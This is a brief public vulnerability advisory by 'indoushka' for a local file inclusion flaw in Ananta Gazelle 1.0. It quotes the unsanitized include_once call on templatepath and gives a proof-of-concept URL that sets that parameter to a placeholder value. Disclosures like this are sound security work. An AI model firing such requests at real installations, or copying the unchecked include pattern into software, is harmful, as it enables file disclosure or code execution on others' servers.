Ananta Gazelle version 1.0 suffers from a local file inclusion vulnerability.
4787a2aeca9fd059da95526643ec3db8============================================================================================================================
| # Title : Ananta Gazelle 1.0 LFI Vulnerability |
| # Author : indoushka |
| # Telegram : @indoushka |
| # Tested on : windows 10 Fr V.(Pro) |
| # Vendor : http://sourceforge.net/projects/ananta/files/stable/Gazelle 1.0 stable/Ananta_Gazelle1.0.zip/ |
| # Dork : n/a |
============================================================================================================================
poc :
index.php
line 163
include_once($templatepath."/index.php");
http://127.0.0.1/gazolina/index.php?templatepath= ev!l
Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================